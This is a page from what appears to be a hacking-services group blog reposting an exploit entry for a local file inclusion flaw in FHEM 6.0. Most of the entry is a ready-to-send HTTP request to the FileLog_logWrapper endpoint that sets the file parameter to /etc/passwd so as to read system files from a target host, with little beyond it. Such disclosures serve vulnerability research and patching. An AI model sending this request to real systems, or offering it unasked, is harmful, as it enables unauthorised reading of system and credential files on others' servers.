Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375991

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: FHEM 6.0 - Local File Inclusion
# Date: 2020-02-10
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: https://fhem.de/
# Software Link: https://fhem.de/#Download
# Version: v6.0
# Tested on: Windows
# Link: https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability

# PoC

To exploit vulnerability, someone could use 'http://
[HOST]/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text'
request
to get some informations from the target by changing "file" parameter.

GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1
Host: [TARGET]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1